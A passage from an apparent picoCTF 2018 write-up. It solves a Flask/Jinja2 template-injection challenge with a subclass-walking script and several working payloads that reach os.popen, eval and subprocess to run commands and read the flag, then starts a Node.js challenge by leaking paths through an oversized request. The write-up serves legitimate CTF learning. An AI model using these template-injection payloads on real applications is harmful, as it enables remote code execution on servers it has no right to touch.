'sqlalchemy.cresultproxy.BaseRowProxy'>, <class 'sqlalchemy.orm.strategies.LoadDeferredColumns'>, <class 'sqlalchemy.util.langhelpers.dependencies._importlater'>, <class 'sqlalchemy.orm.deprecated_interfaces.MapperExtension'>, <class 'weakref.finalize._Info'>, <class 'mappingproxy'>, <class 'tokenize.Untokenizer'>, <class 'jinja2.utils.MissingType'>, <class 'xml.dom.minidom.Childless'>, <class 'urllib.request.Request'>, <class 'threading.Semaphore'>, <class 'sqlalchemy.orm.base._MappedAttribute'>, <class 'sqlalchemy.sql.util._repr_base'>, <class 'dict_values'>, <class 'itertools.islice'>, <class 'werkzeug.routing.Map'>, <class 'sqlalchemy.engine.result.ResultProxy'>, <class 'tarfile.TarFile'>, <class 'dict_keyiterator'>, <class 'zipfile.ZipInfo'>, <class 'flask.wrappers.JSONMixin'>, <class 'codecs.StreamRecoder'>, <class 'sqlalchemy.cprocessors.UnicodeResultProcessor'>, <class 'wtforms.fields.core.UnboundField'>, <class 'sqlalchemy.sql.type_api.Emulated'>, <class 'urllib.request.BaseHandler'>, <class 'bytearray'>, <class 'json.encoder.JSONEncoder'>, <class 'email._policybase._PolicyBase'>, <class 'zipfile._SharedFile'>, <class 'copy._EmptyClass'>, <class 'sqlalchemy.event.base._Dispatch'>, <class 'plistlib._PlistParser'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'sqlalchemy.sql.type_api.NativeForEmulated'>, <class 'sqlalchemy.event.attr._empty_collection'>, <class 'sqlalchemy.orm.state.AttributeState'>, <class '_io.IncrementalNewlineDecoder'>, <class '_ssl._SSLContext'>, <class 'concurrent.futures.process._WorkItem'>, <class 'flask_bootstrap.StaticCDN'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'itsdangerous.SigningAlgorithm'>, <class 'sqlalchemy.sql.visitors.ClauseVisitor'>, <class 'sqlalchemy.ext.baked.BakedQuery'>, <class 'sqlalchemy.orm.unitofwork.IterateMappersMixin'>, <class 'functools._lru_cache_wrapper'>, <class 'apscheduler.executors.base.BaseExecutor'>, <class 'Struct'>, <class 'pyexpat.xmlparser'>, <class 'subprocess.CompletedProcess'>, <class 'types.DynamicClassAttribute'>, <class 'sqlalchemy.sql.selectable.HasCTE'>, <class 'wtforms.i18n.DummyTranslations'>, <class 'sqlalchemy.sql.base.DialectKWArgs'>, <class 'apt_pkg.TagFile'>, <class 'json.decoder.JSONDecoder'>, <class 'jinja2.loaders.BaseLoader'>, <class 'sqlalchemy.sql.base.Immutable'>, <class 'apt.package.BaseDependency'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class '_sre.SRE_Pattern'>, <class 'itertools.permutations'>, <class 'apt_pkg.Package'>, <class 'sqlalchemy.sql.base.SchemaEventTarget'>, <class 'flask_sqlalchemy._QueryProperty'>, <class 'sqlalchemy.orm.relationships.JoinCondition'>, <class 'sqlalchemy.util.langhelpers.hybridmethod'>, <class 'pkg_resources.Distribution'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'apt.progress.text.TextProgress'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'traceback.FrameSummary'>, <class 'traceback'>, <class 'xml.dom.NodeFilter.NodeFilter'>, <class 'weakproxy'>, <class 'app.config.Config'>, <class 'sqlalchemy.orm.interfaces.MapperOption'>, <class 'posix.DirEntry'>, <class 'textwrap.TextWrapper'>, <class 'click.core.BaseCommand'>, <class 'method_descriptor'>, <class 'urllib.request.URLopener'>, <class 'dict_valueiterator'>, <class 'sqlalchemy.util.langhelpers.dependencies'>, <class 'datetime.date'>, <class 'staticmethod'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'collections.abc.AsyncIterable'>, <class 'inspect.Parameter'>, <class '_frozen_importlib_external.FileFinder'>, <class 'flask_bootstrap.WebCDN'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.json.tag.JSONTag'>, <class 'apt_pkg.PackageRecords'>, <class 'range_iterator'>, <class 'sqlalchemy.sql.operators.Operators'>, <class 'six._SixMetaPathImporter'>, <class 'sqlalchemy.sql.annotation.Annotated'>, <class 'pprint.PrettyPrinter'>, <class 'bytes_iterator'>, <class 'dict_itemiterator'>, <class '_bz2.BZ2Compressor'>, <class 'sqlalchemy.orm.collections.collection'>, <class 'sqlalchemy.orm.collections._SerializableColumnGetter'>, <class 'hmac.HMAC'>, <class 'sqlalchemy.ext.declarative.api.ConcreteBase'>, <class 'sqlalchemy.orm.dynamic.CollectionHistory'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'itsdangerous._CompactJSON'>, <class 'contextlib.closing'>, <class '_ctypes.CThunkObject'>, <class 'int'>, <class '_io._BytesIOBuffer'>, <class 'logging.PlaceHolder'>, <class 'sqlalchemy.sql.selectable.HasPrefixes'>, <class 'sqlalchemy.orm.path_registry.PathRegistry'>, <class 'codecs.IncrementalEncoder'>, <class 'wtforms.fields.core.Label'>, <class 'apt.cache.Cache'>, <class 'importlib.abc.Loader'>, <class 'plistlib._BinaryPlistWriter'>, <class 'flask_sqlalchemy.model.NameMetaMixin'>, <class 'sqlalchemy.orm.loading.PostLoad'>, <class 'array.array'>, <class 'slice'>, <class 'apt_pkg.AcquireItemDesc'>, <class 'werkzeug.routing.BaseConverter'>, <class 'jinja2.compiler.Frame'>, <class 'ctypes.CDLL'>, <class '_random.Random'>, <class 'itertools.takewhile'>, <class 'collections.abc.Awaitable'>, <class 'sqlalchemy.util._collections.UniqueAppender'>, <class 'sqlalchemy.util._collections.ScopedRegistry'>, <class 'apt_pkg.TagSection'>, <class 'sre_parse.Pattern'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'apport.packaging.PackageInfo'>, <class 'itertools.dropwhile'>, <class 'itertools.combinations'>, <class 'flask_sqlalchemy.Pagination'>, <class 'zipfile.ZipFile'>, <class 'werkzeug.routing.MapAdapter'>, <class 'xml.dom.xmlbuilder._AsyncDeprecatedProperty'>, <class 'sqlalchemy.sql.util.ColumnAdapter._IncludeExcludeMapping'>, <class 'sqlalchemy.exc.DontWrapMixin'>, <class 'apscheduler.schedulers.base.BaseScheduler'>, <class 'click.types.ParamType'>, <class 'jinja2.compiler.MacroRef'>, <class '_ssl.MemoryBIO'>, <class 'codecs.Codec'>, <class 'moduledef'>, <class 'sqlalchemy.util.langhelpers.portable_instancemethod'>, <class 'apscheduler.events.SchedulerEvent'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'click._compat._AtomicFile'>, <class 'zip'>, <class 'apt_pkg.SourceRecords'>, <class 'concurrent.futures.thread._WorkItem'>, <class 'wtforms.validators.AnyOf'>, <class 'collections.abc.Hashable'>, <class 'logging.BufferingFormatter'>, <class 'problem_report.CompressedValue'>, <class 'tarfile._FileInFile'>, <class 'sqlalchemy.event.registry._EventKey'>, <class 'wtforms.validators.InputRequired'>, <class 'flask_login.mixins.UserMixin'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetTable'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'select.poll'>, <class 'coroutine_wrapper'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'sqlalchemy.interfaces.PoolListener'>, <class 'flask.ctx.RequestContext'>, <class 'sqlalchemy.sql.schema._SchemaTranslateMap'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'tarfile._Stream'>, <class 'xml.dom.minidom.ReadOnlySequentialNamedNodeMap'>, <class 'wtforms.meta.DefaultMeta'>, <class 'sqlalchemy.ext.declarative.clsregistry._class_resolver'>, <class 'concurrent.futures._base.Future'>, <class 'dict_items'>, <class 'sqlalchemy.orm.evaluator.EvaluatorCompiler'>, <class 'jinja2.utils.Cycler'>, <class 'wtforms.form.BaseForm'>, <class 'sqlalchemy.util._collections.Properties'>, <class 'concurrent.futures.process._ResultItem'>, <class 'wtforms.validators.DataRequired'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'sqlalchemy.orm.attributes.Event'>, <class 'super'>, <class '_thread._local'>, <class 'sqlalchemy.orm.dynamic.AppenderMixin'>, <class 'sqlite3.Connection'>, <class '_lzma.LZMADecompressor'>, <class '_frozen_importlib._ModuleLock'>, <class 'apt.package.Origin'>, <class 'sqlalchemy.orm.deprecated_interfaces.SessionExtension'>, <class 'sqlalchemy.ext.baked.Result'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'contextlib.ContextDecorator'>, <class 'sre_parse.Tokenizer'>, <class 'sqlalchemy.sql.sqltypes.Concatenable'>, <class '_ssl._SSLSocket'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'sqlalchemy.engine.interfaces.ExecutionContext'>, <class 'function'>, <class 'multiprocessing.util.Finalize'>, <class 'apt_pkg.MetaIndex'>, <class 'apt_pkg.FileLock'>, <class '_sitebuiltins._Helper'>, <class '_collections._deque_reverse_iterator'>, <class 'tuple'>, <class 'operator.itemgetter'>, <class 'werkzeug.wrappers.WWWAuthenticateMixin'>, <class 'threading._RLock'>, <class 'sre_parse.SubPattern'>, <class 'apscheduler.jobstores.base.BaseJobStore'>, <class 'apt_pkg.PackageList'>, <class '_sre.SRE_Match'>, <class 'sqlalchemy.event.base.dispatcher'>, <class 'tempfile._TemporaryFileCloser'>, <class 'pickle._Pickler'>, <class '_frozen_importlib._ManageReload'>, <class 'jinja2.utils.Joiner'>, <class '_frozen_importlib_external._LoaderBasics'>, <class 'map'>, <class 'collections.abc.Iterable'>, <class 'sqlalchemy.pool._ConnectionFairy'>, <class 'apt.progress.base.InstallProgress'>, <class 'classmethod_descriptor'>, <class 'callable_iterator'>, <class 'multiprocessing.util.ForkAwareThreadLock'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'apt_pkg.Policy'>, <class 'tuple_iterator'>, <class 'configparser.Interpolation'>, <class '_frozen_importlib_external.PathFinder'>, <class 'logging.LogRecord'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'jinja2.lexer.TokenStream'>, <class '_pickle.Pickler'>, <class 'complex'>, <class 'xml.dom.minidom.TypeInfo'>, <class 'sqlalchemy.util.queue.Queue'>, <class 'ipaddress._BaseV4'>, <class 'sqlalchemy.log.echo_property'>, <class 'flask.ctx.AppContext'>, <class 'multiprocessing.connection.Listener'>, <class 'tarfile.TarInfo'>, <class 'datetime.tzinfo'>, <class 'sqlalchemy.util.langhelpers.memoized_property'>, <class 'werkzeug.datastructures.Range'>, <class 'blinker._utilities.lazy_property'>, <class 'apscheduler.job.Job'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'xml.dom.xmlbuilder.DOMBuilderFilter'>, <class 'threading.Thread'>, <class 'werkzeug.wsgi.SharedDataMiddleware'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'flask.config.ConfigAttribute'>, <class 'apscheduler.triggers.base.BaseTrigger'>, <class 'apt.cache._FilteredCacheHelper'>, <class 'itertools.accumulate'>, <class 'apt_pkg.SystemLock'>, <class 'flask_sqlalchemy._EngineConnector'>, <class 'sqlalchemy.orm.identity.IdentityMap'>, <class 'sqlalchemy.orm.scoping.scoped_session'>, <class 'sqlalchemy.engine.strategies.EngineStrategy'>, <class 'sqlalchemy.orm.interfaces.LoaderStrategy'>, <class 'zipfile._ZipDecrypter'>, <class 'list'>, <class 'multiprocessing.reduction._C'>, <class 'ipaddress._IPAddressBase'>, <class 'warnings.catch_warnings'>, <class 'apt_pkg.Group'>, <class '_socket.socket'>, <class 'PyCapsule'>, <class '_collections._deque_iterator'>, <class 'zipfile._Tellable'>, <class 'ssl.SSLObject'>, <class 'logging.Filter'>, <class 'xml.dom.Node'>, <class 'calendar._localized_month'>, <class 'werkzeug.local.LocalManager'>, <class 'calendar.Calendar'>, <class 'ast.NodeVisitor'>, <class 'NotImplementedType'>, <class 'sqlite3.Row'>, <class 'sqlalchemy.sql.sqltypes._LookupExpressionAdapter'>, <class 'apt.package.Package'>, <class 'pkgCacheFile'>, <class 'jinja2.runtime.Macro'>, <class 'imp._HackedGetData'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'os._wrap_close'>, <class 'sqlalchemy.orm.query.QueryContext'>, <class 'calendar._localized_day'>, <class 'itertools._tee_dataobject'>, <class 'apt_pkg.AcquireWorker'>, <class 'sqlalchemy.orm.instrumentation._SerializeManager'>, <class 'wtforms.validators.HostnameValidation'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'EncodingMap'>, <class 'werkzeug.datastructures.IfRange'>, <class 'coroutine'>, <class 'multiprocessing.connection.SocketListener'>, <class 'apt_pkg._PackageManager'>, <class 'difflib.SequenceMatcher'>, <class '_sitebuiltins.Quitter'>, <class '_pickle.Unpickler'>, <class 'pkg_resources.extern.packaging._structures.Infinity'>, <class 'flask_wtf.recaptcha.widgets.RecaptchaWidget'>, <class 'logging.Filterer'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModNS'>, <class 'sqlalchemy.util.langhelpers.MemoizedSlots'>, <class 'sqlalchemy.sql.selectable.HasSuffixes'>, <class 'select.epoll'>, <class 'tarfile._StreamProxy'>, <class 'inspect.Signature'>, <class 'werkzeug.local.LocalStack'>, <class 'flask_bootstrap.CDN'>, <class 'pkgutil.ImpLoader'>, <class 'sqlalchemy.orm.deprecated_interfaces.AttributeExtension'>, <class 'jinja2.lexer.Lexer'>, <class 'sqlalchemy.orm.instrumentation.InstrumentationFactory'>, <class 'ipaddress._IPv4Constants'>, <class 'flask_sqlalchemy._SQLAlchemyState'>, <class 'fieldnameiterator'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'sqlalchemy.orm.collections._PlainColumnGetter'>, <class 'sqlalchemy.engine.result.ResultMetaData'>, <class '_pickle.Pdata'>, <class 'jinja2.runtime.BlockReference'>, <class 'apt_pkg.Cdrom'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pickle._Unframer'>, <class 'email.parser.Parser'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class 'sqlalchemy.event.base.Events'>, <class 'jinja2.ext.Extension'>, <class 'zipimport.zipimporter'>, <class 'float'>, <class 'logging.LoggerAdapter'>, <class 'sqlalchemy.sql.schema._NotAColumnExpr'>, <class 'string.Formatter'>, <class 'itertools.product'>, <class 'sqlalchemy.util._collections.ImmutableContainer'>, <class 'operator.attrgetter'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'tarfile.TarIter'>, <class 'click.core.Context'>, <class '_io._IOBase'>, <class 'blinker._utilities._symbol'>, <class 'tarfile._LowLevelFile'>, <class 'contextlib._RedirectStream'>, <class 'apt_pkg.Cache'>, <class 'xml.dom.minidom.ElementInfo'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'sqlalchemy.orm.relationships._ColInAnnotations'>, <class 'sqlite3.PrepareProtocol'>, <class 'threading.Condition'>, <class 'jinja2.parser.Parser'>, <class 'builtin_function_or_method'>, <class 'bytes'>, <class 'set_iterator'>, <class 'sqlalchemy.orm.dependency.DependencyProcessor'>, <class 'werkzeug.datastructures.Headers'>, <class 'sqlalchemy.orm.events._EventsHold.HoldEvents'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'wtforms.widgets.core.Input'>, <class 'sqlalchemy.sql.functions._FunctionGenerator'>, <class 'concurrent.futures._base._Waiter'>, <class 'decimal.ContextManager'>, <class 'pkg_resources.ResourceManager'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class 'flask_sqlalchemy.model.Model'>, <class 'logging.Manager'>, <class 'str_iterator'>, <class 'visitor.Visitor'>, <class 'xml.dom.xmlbuilder.DOMInputSource'>, <class 'apt_pkg.SourceList'>, <class '_frozen_importlib_external.FileLoader'>, <class 'enumerate'>, <class 'gettext.NullTranslations'>, <class 'pkg_resources._SetuptoolsVersionMixin'>, <class 'email.message.Message'>, <class 'sqlalchemy.engine.base.Engine._trans_ctx'>, <class 'jinja2.environment.Template'>, <class 'instancemethod'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_thread.RLock'>, <class 'sqlalchemy.DecimalResultProcessor'>, <class 'sqlalchemy.engine.url.URL'>, <class 'apt.progress.base.AcquireProgress'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'sqlalchemy.orm.persistence.BulkUD'>, <class 'wtforms.widgets.core.Select'>, <class 'six._LazyDescr'>, <class 'jinja2.environment.TemplateExpression'>, <class 'apt_pkg.Hashes'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModuleMarker'>, <class 'logging.PercentStyle'>, <class 'itertools.count'>, <class 'werkzeug._internal._Missing'>, <class 'types._GeneratorWrapper'>, <class 'blinker._utilities.symbol'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'itsdangerous.Signer'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'email.charset.Charset'>, <class 'multiprocessing.process.BaseProcess'>, <class 'jinja2.nodes.EvalContext'>, <class 'xml.dom.minidom.Identified'>, <class 'functools.partial'>, <class 'datetime.time'>, <class 'sqlalchemy.engine.base.Transaction'>, <class 'sqlalchemy.ext.declarative.clsregistry._MultipleClassMarker'>, <class 'werkzeug.wsgi.ProxyMiddleware'>, <class 'werkzeug.local.Local'>, <class 'sqlalchemy.dialects.sqlite.base._DateTimeMixin'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'apt_pkg.GroupList'>, <class 'set'>, <class 'sqlalchemy.sql.operators.custom_op'>, <class 'sqlalchemy.sql.visitors.Visitable'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'itertools.groupby'>, <class 'collections.deque'>, <class 'threading.Event'>, <class 'itertools.filterfalse'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'werkzeug.wrappers.ResponseStreamMixin'>, <class 'werkzeug.exceptions.Aborter'>, <class 'dominate.dom1core.dom1core'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'pkg_resources.EntryPoint'>, <class 'itertools.starmap'>, <class 'decimal.Decimal'>, <class 'apt_pkg.DependencyList'>, <class 'wtforms.utils.UnsetValue'>, <class 'pkg_resources.Environment'>, <class 'blinker.base.Signal'>, <class 'posix.ScandirIterator'>, <class 'jinja2.runtime.Context'>, <class 'wtforms.validators.EqualTo'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'werkzeug.formparser.FormDataParser'>, <class '_sitebuiltins._Printer'>, <class 'werkzeug.local.LocalProxy'>, <class 'ipaddress._BaseV6'>, <class 'click.parser.Option'>, <class 'sqlalchemy.pool._DBProxy'>, <class 'wtforms.i18n.DefaultTranslations'>, <class 'memoryview'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'decimal.Context'>, <class 'flask_sqlalchemy._EngineDebuggingSignalEvents'>, <class '_frozen_importlib_external._NamespacePath'>, <class 'urllib.request.ftpwrapper'>, <class 'sqlite3Node'>, <class 'wtforms.validators.Email'>, <class 'sqlalchemy.engine.reflection.Inspector'>, <class 'sqlalchemy.orm.query._QueryEntity'>, <class 'sqlalchemy.sql.schema.ColumnCollectionMixin'>, <class 'reversed'>, <class 'wtforms.utils.WebobInputWrapper'>, <class 'email.parser.BytesParser'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetColumns'>, <class 'sqlalchemy.sql.compiler.IdentifierPreparer'>, <class 'generator'>, <class '_ctypes.DictRemover'>, <class 'itsdangerous.Serializer'>, <class 'threading.Barrier'>, <class 'jinja2.environment.TemplateModule'>, <class 'werkzeug.wrappers.BaseResponse'>, <class 'sqlalchemy.ext.baked.Bakery'>, <class 'sqlalchemy.pool._ConnDialect'>, <class 'urllib.parse._ResultMixinStr'>, <class 'werkzeug.wrappers.ETagResponseMixin'>, <class 'list_reverseiterator'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'sqlalchemy.pool._ConnectionRecord'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'click.utils.LazyFile'>, <class 'sqlalchemy.log.Identified'>, <class 'email.feedparser.BufferedSubFile'>, <class 'list_iterator'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinity'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'wtforms.validators.NoneOf'>, <class '_thread.lock'>, <class 'multiprocessing.connection._ConnectionBase'>, <class 'collections.abc.Container'>, <class 'apt_pkg.OrderList'>, <class 'jinja2.lexer.Failure'>, <class 'sqlalchemy.orm.events._InstrumentationEventsHold'>, <class 'email.header._ValueFormatter'>, <class 'imp.NullImporter'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'dict'>, <class 'sqlite3.Statement'>, <class 'importlib.abc.Finder'>, <class 'sqlalchemy.ext.declarative.base._MapperConfig'>, <class 'email.feedparser.FeedParser'>, <class '_weakrefset.WeakSet'>, <class 'wtforms.validators.Optional'>, <class 'contextlib.suppress'>, <class 'wtforms.validators.UUID'>, <class 'itertools._grouper'>, <class 'click._compat._FixupStream'>, <class 'click.utils.KeepOpenFile'>, <class 'uuid.UUID'>, <class 'sqlalchemy.orm.query.Query'>, <class 'sqlalchemy.util._collections.WeakSequence'>, <class 'sqlalchemy.orm.strategies.SubqueryLoader._SubqCollections'>, <class 'uwsgi.ZipImporter'>, <class 'string.Template'>, <class 'frozenset'>, <class 'weakcallableproxy'>, <class 'apt.package.Version'>, <class 'flask_sqlalchemy.model.BindMetaMixin'>, <class 'tempfile._RandomNameSequence'>, <class 'sqlalchemy.util.langhelpers.group_expirable_memoized_property'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'apt_pkg.Dependency'>, <class 'click.parser.OptionParser'>, <class 'frame'>, <class 'inspect._empty'>, <class 'os._DummyDirEntry'>, <class 'flask.helpers._PackageBoundObject'>, <class 'wtforms.widgets.core.TableWidget'>, <class 'concurrent.futures.process._CallItem'>, <class 'filter'>, <class 'sqlalchemy.orm.state.PendingCollection'>, <class 'weakref'>, <class 'jinja2.idtracking.Symbols'>, <class 'email._parseaddr.AddrlistClass'>, <class 'ctypes.LibraryLoader'>, <class 'dominate.dom_tag.dom_tag'>, <class 'sqlalchemy.orm.strategy_options.loader_option'>, <class 'longrange_iterator'>, <class 're.Scanner'>, <class 'jinja2.runtime.TemplateReference'>, <class 'method-wrapper'>, <class 'classmethod'>, <class 'wrapper_descriptor'>, <class 'jinja2.environment.TemplateStream'>, <class 'queue.Queue'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'abc.ABC'>, <class 'flask_login.mixins.AnonymousUserMixin'>, <class 'http.client.HTTPConnection'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'itsdangerous.URLSafeSerializerMixin'>, <class 'wtforms.validators.Length'>, <class 'sqlalchemy.util._collections.IdentitySet'>, <class 'sqlalchemy.sql.compiler.TypeCompiler'>, <class 'itertools.repeat'>, <class 'itertools.zip_longest'>, <class '_multiprocessing.SemLock'>, <class 'werkzeug.wrappers.CommonResponseDescriptorsMixin'>, <class 'click.core.Parameter'>, <class 'wtforms.fields.core.Field'>, <class 'subprocess.Popen'>, <class 'zipfile.LZMACompressor'>, <class 'itertools._tee'>, <class 'wtforms.validators.Regexp'>, <class 'werkzeug.wsgi.DispatcherMiddleware'>, <class '_ctypes._CData'>, <class 'itertools.chain'>]

Damn that’s a lot of stuff, how do we find if one of these modules eventually lead us to code execution? Simple, we write a small script which loops over the list and see if it has access to the module we need.

for i in [] . __class__ . __mro__ [ 1 ] . __subclasses__ (): if '<class' in str ( i ): try : modules = i . __init__ . __globals__ . keys () # lookup all keys from global for module in modules : if 'os' == module : print ( i ) except : pass

This code spits out the modules which has os module access.

<class 'site._Printer'> <class 'site.Quitter'>

Seems like these two have access to os module. Unfortunately these 2 don’t exist on the server. But this is no problem for us, we can search for sys module which has os in it.

To find the sys module, I simply changed os to sys in the code above and ran it.

<class 'warnings.WarningMessage'> <class 'warnings.catch_warnings'> <class 'site._Printer'> <class 'site.Quitter'> <class 'codecs.IncrementalEncoder'> <class 'codecs.IncrementalDecoder'>

This time we get a lot more results. Let’s pick one of those codecs, maybe <class 'codecs.IncrementalDecoder'> . I searched for it in the huge modules list above. Luckly I did find it. It’s in the index 152 . Let’s confirm this.

{{ [] . __class__ . __mro__ [ 1 ] . __subclasses__ ()[ 152 ] }}

Question:<class 'codecs.IncrementalDecoder'>

And indeed we see it right there. We can confirm by dumping the __globals__ list

... 'BOM_UTF32_LE': b'\xff\xfe\x00\x00', 'StreamReader': <class 'codecs.StreamReader'> 'BOM_UTF8': b'\xef\xbb\xbf', 'IncrementalDecoder': <class 'codecs.IncrementalDecoder'> 'builtins': <module 'builtins' (built-in)> 'sys': <module 'sys' (built-in)> <== RIGHT HERE 'getincrementaldecoder': <function getincrementaldecoder at 0x7f9421fffd90> 'unicode_internal_encode': <built-in function unicode_internal_encode> ...

Since sys has os we can simply use it like the following

{{ [] . __class__ . __mro__ [ 1 ] . __subclasses__ ()[ 152 ] . __init__ . __globals__ [ 'sys' ] . modules [ 'os' ] }}

We can use os.system , but since this doesn’t give us the output, so instead we can go with os.popen and read function to get the output. Let’s try it.

{{ [] . __class__ . __mro__ [ 1 ] . __subclasses__ ()[ 152 ] . __init__ . __globals__ [ 'sys' ] . modules [ 'os' ] . popen ( "ls" ) . read () }}

Question:app flag server.py xinet_startup.sh

Alright! we have our code execution. Now let’s read that flag

{{ [] . __class__ . __mro__ [ 1 ] . __subclasses__ ()[ 152 ] . __init__ . __globals__ [ 'sys' ] . modules [ 'os' ] . popen ( "cat flag" ) . read () }}

Question:picoCTF{R_C_E_wont_let_me_be_85e92c3a}

Noice, our flag is picoCTF{R_C_E_wont_let_me_be_85e92c3a} .

Like I mentioned above, there are other simpler ways to solve this challenge, one of them is to use url_for method which is part of the flask framework. This depends on os module, because it works with generating dynamic urls for routes, so we can simple use it like

{{ url_for . __globals__ . os . popen ( "cat flag" ) . read () }}

Additionally we can also use __builtins__ from __globals__ and then use eval to gain code execution.

{{[] . __class__ . __base__ . __subclasses__ ()[ 212 ] . __init__ . __globals__ [ '__builtins__' ] . eval ( '__import__("os").popen("cat flag").read()' )}}

We can also use subclasses.popen which was in the list with communicate .

{{[] . __class__ . __base__ . __subclasses__ ()[ 761 ]([ 'cat' , 'flag' ], stdout =- 1 ) . communicate ()[ 0 ]}}

I’m sure there are a ton of other ways to do this, but the one that I showed you guys was my favorite.

LambDash 3

Challenge description

C? Who uses that anymore. If we really want to be secure, we should all start learning lambda calculus. http://2018shell1.picoctf.com:11322

Points: 800

Now I gotta say, this was a hard one. I spent days trying to figure it out and got nowhere. This challenge was about lambda calculus which I really don’t like for no reason and also it deals with how nodejs handles __proto__ assignments. Let’s get started shall we?

Following the link provided in the description, we land on a web app ΛambΔash . Right off the bat there’s documentation about how this lambda calculus works. There are about 6 pages of documentation. This web app was written in nodejs, how do I know this? I had a chrome extension called Wappalyzer, a really handy tool to find out what technologies are being used by the website. Additionally when you visit a path the doesn’t exist you get the standard node express error ‘Cannot GET /whatever’ and also the response headers had X-Powered-By: Express which was a complete giveaway.

Let’s look at the functionality of this web app. As you know this has documentation and it also has small code areas, where you can write lambda calculus code and run it. This was a typed lambda calculus variant called System F.

The flow of the web app was simple, you write code and hit run, this makes an ajax(we should really stop calling it ajax) request to /run endpoint with some POST data. The code was sent to the server, the server runs the code and gives us the response. This is cool and everything, but since we don’t have access to the backend code yet, it’ll take a long time to find a lead, so let’s find the code.

When we signup for the Pico CTF, we are given a ssh connection. We can simply download the source from there, but the problem is we don’t know where our code is and what are it’s file/directory names and we can’t even list the files to know their names due to permissions. So first we need the exact path to the source, only then we are able to download. To do this we can simply cause an error in the web app which gives us the stack trace with the path to the file. To cause an error I sent a really long string as the POST data for that /run endpoint.

Request

POST /run HTTP / 1.1 Host : 2018shell1.picoctf.com:11322 Content-Length : 122477 Origin : http://2018shell1.picoctf.com:11322 User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36 Content-Type : application/x-www-form-urlencoded Accept : */* Referer : http://2018shell1.picoctf.com:11322/ Accept-Encoding : gzip, deflate Accept-Language : en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7 Cookie : remember_token=8|bc201830f00576b048deb58a3c61e6ea0a5bf9dd10df1412afd04d874f5ef819e3b72e528791f5474fdb0e5dcbfe9317de2ebc86cb59f6a2f3ff80369dafa1ae; _ga=GA1.2.1584231330.1539783434; _gid=GA1.2.1598786021.1539783434 Connection : close code=aaaaaaaaaaaa..(120k+)..aaaaaaaaaaaa

Response

HTTP / 1.1 413 Payload Too Large X-Powered-By : Express Content-Security-Policy : default-src 'self' X-Content-Type-Options : nosniff Content-Type : text/html; charset=utf-8 Content-Length : 1540 Date : Thu, 18 Oct 2018 07:23:34 GMT Connection : close <!DOCTYPE html> <html lang= "en" > <head> <meta charset= "utf-8" > <title> Error </title> </head> <body> <pre> PayloadTooLargeError: request entity too large <br> at readStream (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/raw-body/index.js:155:17) <br> at getRawBody (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/raw-body/index.js:108:12) <br> at read (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/body-parser/lib/read.js:77:3) <br> at urlencodedParser (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/body-parser/lib/types/urlencoded.js:116:5) <br> at Layer.handle [as handle_request] (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/layer.js:95:5) <br> at 